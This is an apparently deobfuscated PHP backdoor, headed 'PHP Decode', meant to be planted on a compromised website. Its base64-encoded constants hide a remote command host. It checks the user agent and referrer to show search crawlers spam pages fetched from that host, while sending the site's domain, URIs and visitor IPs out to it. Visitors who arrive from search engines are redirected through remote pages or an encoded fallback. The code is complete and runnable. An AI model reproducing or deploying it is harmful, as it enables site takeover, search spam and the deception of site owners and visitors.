PHP Decode

set_time_limit(0);
error_reporting(0);

define('VERSION', 'ZKDNA');
define('APIVERSION', 'VEgjS21n');
define('API', base64_decode('aHR0cHM6Ly9naWFvdGllcDM2NS5jb20v'));
define('API_HTTP', base64_decode('aHR0cDovL2dpYW90aWVwMzY1LmNvbS8='));
define('API2', '');
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+VGhlIHJlc291cmNlIGNhbm5vdCBiZSBmb3VuZC48L3RpdGxlPgogICAgICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSJodHRwczovL2dpYW90aWVwMzY1LmNvbS9yLzEuaHRtbCI7PC9zY3JpcHQ+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8aDE+Tm90IEZvdW5kPC9oMT4KICAgIDwvYm9keT4KPC9odG1sPgo='));

$req_ref = $_SERVER["HTTP_REFERER"];
$req_ua = $_SERVER["HTTP_USER_AGENT"];
$host = $_SERVER['HTTP_HOST'];
$req_uri = $_SERVER['REQUEST_URI'];

function fetch_prefix() {

}

function insert_html() {
	ob_start();
	register_shutdown_function('insert_html_end');
}

function insert_html_end() {
    $output = ob_get_contents();
    ob_end_clean();
}

function is_prefix($uri, $prefix_regex='/[?\/](app|ios|android|download|blank|bet|casino|games|play|video|poker|root|news|patt|tee|sto|bea|slo|bac|pac|tig|bmw|fru|bull|card|gods|fish|mahj|zop|xsn|xiazai|vna|soft|rna|qsj|muv|iphone|gov|edu|apk|wp-news|uri|bak|start|gaming|sport|football|bull|ID)./i') {
	return preg_match($prefix_regex, $uri) === 1;
}

function is_crawler($ua) {
    $crawlers = array('Googlebot', 'Bingbot', 'MSNBOT', 'Yahoo!');
	foreach ($crawlers as $c) {
		if (stripos($ua, $c) !== false) {
			return true;
		}
	}
	return false;
}

function is_visitor($ref) {
	if (substr($ref, 0, 4) === 'http') {
        $refs = array('google.', 'bing.', 'yahoo.');
		foreach ($refs as $r) {
			if (stripos($ref, $r) !== false) {
				return true;
			}
		}
	}
	return false;
}

function get_content($url, $headers=array(), $conn_timeout=0, $trans_timeout=0) {
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
		curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]);
		curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $conn_timeout);
		curl_setopt($ch, CURLOPT_TIMEOUT, $trans_timeout);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
	    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        $result = curl_exec($ch);
		if(curl_errno($ch)){
			$result = NULL;
		}
        curl_close($ch);
        return $result;
    }
	else {
        return file_get_contents($url);
    }
}
function get_client_ip(){
    foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){
        if (array_key_exists($key, $_SERVER) === true){
            foreach (explode(',', $_SERVER[$key]) as $ip){
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){
                    return $ip;
                }
            }
        }
    }
}

function main() {
	global $req_ref, $req_ua, $host, $req_uri;
	header('Cache-Control: no-store, no-cache, must-revalidate');
	header('Cache-Control: post-check=0, pre-check=0', FALSE);
	header('Pragma: no-cache');
	$uri_encoded = urlencode($req_uri);
	$headers = array();
	if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
		$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
		array_push($headers, "Accept-Language: $lang");
		array_push($headers, "Vary: Accept-Language");
	}
	if (is_crawler($req_ua)) {
		$crawler_ip = get_client_ip();
		if (is_prefix($req_uri)) {
			header('Content-Type:text/html; charset=utf-8');
			echo get_content(API_HTTP. "connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers);
			exit;
		}
		else {
			echo get_content(API_HTTP. "friends.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION);
		}
	}
	elseif (is_prefix($req_uri) && is_visitor($req_ref)) {
		header('Content-Type:text/html; charset=utf-8');
		$client_ip = get_client_ip();
		$allheaders = array();
		if (!function_exists('getallheaders')) {
			function getallheaders() {
			$tmp_headers = array();
			foreach ($_SERVER as $name => $value) {
				if (substr($name, 0, 5) == 'HTTP_') {
					$tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
				}
			}
			return $tmp_headers;
			}
			$allheaders = getallheaders();
		}
		else {
			$allheaders = getallheaders();
		}
		foreach ($allheaders as $key => $value) {
			if (stripos($key, 'Sec-') === 0) {
				array_push($headers, "$key: $value");
			}
		}

		$html = get_content(API_HTTP. "redirectv1.html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 3, 3);
		echo ($html? $html: FALLBACK_REDIRECT_HTML);
		exit;
	}
}

main();